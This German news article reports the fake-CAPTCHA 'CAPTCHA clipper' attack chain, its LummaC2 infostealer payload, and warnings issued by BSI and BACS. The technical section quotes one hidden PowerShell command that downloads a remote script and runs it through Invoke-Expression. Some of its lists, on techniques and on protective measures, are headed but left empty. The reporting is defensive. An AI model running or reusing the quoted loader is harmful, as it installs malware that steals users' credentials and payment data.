Fake CAPTCHA als Malware-Risiko: BSI rät zu besonderer Vorsicht

Die dunkle Seite der CAPTCHAs

CAPTCHAs sind seit Jahrzehnten ein bewährtes Mittel, um Websites vor automatisierten Angriffen zu schützen. Sie verlangen vom Nutzer, bestimmte Bilder auszuwählen, Zeichen einzugeben oder einfach ein Häkchen zu setzen, um zu beweisen, dass sie keine Bots sind. Genau dieses Vertrauen in CAPTCHAs wird jetzt von Cyberkriminellen missbraucht, um ahnungslose Nutzer zur unbeabsichtigten Installation von Malware zu verleiten.

Eine besonders raffinierte Angriffskette wurde vom Conscia Security Operations Center (SOC) entdeckt und als „CAPTCHA clipper„ bezeichnet. Die Methode kombiniert Social Engineering mit technischer Manipulation, um Nutzer zur Ausführung schädlicher PowerShell-Befehle zu bringen.

Das Bundesamt für Sicherheit in der Informationstechnik (BSI) sowie das Schweizerische Bundesamt für Cybersicherheit (BACS) warnen mittlerweile offiziell vor diesen Attacken.

Technische Analyse der CAPTCHA clipper-Angriffskette

Die Angriffsmethode nutzt mehrere Schritte, um den Schadcode auf den Systemen der Opfer auszuführen. Dabei wird eine Kombination aus JavaScript-Manipulation, PowerShell-Missbrauch und Command-and-Control (C2)-Kommunikation verwendet. Die folgenden Schritte beschreiben die technischen Hintergründe dieses raffinierten Angriffs.

powershell -WindowStyle Hidden -Command “$rQd=‘https://xxxxxxxxxxxxx[.]net/prizev2[.]txt’; $pLs=New-Object System.Net.WebClient; $sLf=$pLs.DownloadString($rQd); Invoke-Expression $sLf;”

Verwendete Techniken in der Übersicht

Die CAPTCHAclipper-Angriffskette setzt eine Vielzahl moderner Angriffstechniken ein:

Wer steckt hinter den Angriffen?

Laut Conscia Security Operations Center (SOC) handelt es sich um einen erfahrenen Bedrohungsakteur, der gezielt Nutzer in Europa angreift. Die Hauptnutzlast wurde als eine Variante der LummaC2-Malware identifiziert, die darauf ausgelegt ist:

• Zugangsdaten aus Webbrowsern und Messenger-Apps zu stehlen.
• Kreditkarteninformationen abzugreifen.
• Befehle auszuführen, um weitere Schadsoftware zu installieren.

Ein genaues Attributionsmodell liegt noch nicht vor, jedoch weisen die Angriffe auf eine hochentwickelte Gruppe hin, die in der Lage ist, ihre Angriffsstrategien dynamisch anzupassen, um Sicherheitslösungen zu umgehen.

Wie kann man sich schützen?

Um sich vor dieser neuen Angriffsmethode zu schützen, sollten Nutzer folgende Maßnahmen ergreifen:

Laut dem BSI und dem BACS sollten betroffene Systeme vollständig gelöscht und neu installiert werden, da moderne Malware oft tief ins System eingreift und nicht ohne Weiteres entfernt werden kann.

Fazit: Ein Weckruf für IT-Sicherheit

Die CAPTCHAclipper-Angriffe zeigen, wie Cyberkriminelle zunehmend kreative Methoden nutzen, um Sicherheitsmaßnahmen in Angriffsvektoren zu verwandeln. Durch die geschickte Kombination aus technischen Exploits und psychologischer Manipulation gelingt es den Tätern, Nutzer unbemerkt in die Falle zu locken.

Besonders besorgniserregend ist, dass die genutzten Techniken leicht angepasst und wiederverwendet werden können. Auch wenn bereits einige Sicherheitslösungen die erkannten Indikatoren für Kompromittierung (IOCs) blockieren, werden neue Varianten entstehen.

Nutzer und Unternehmen müssen daher wachsam bleiben, ihre IT-Sicherheitsstrategien kontinuierlich aktualisieren und sich stets bewusst sein: Nicht jedes CAPTCHA ist harmlos.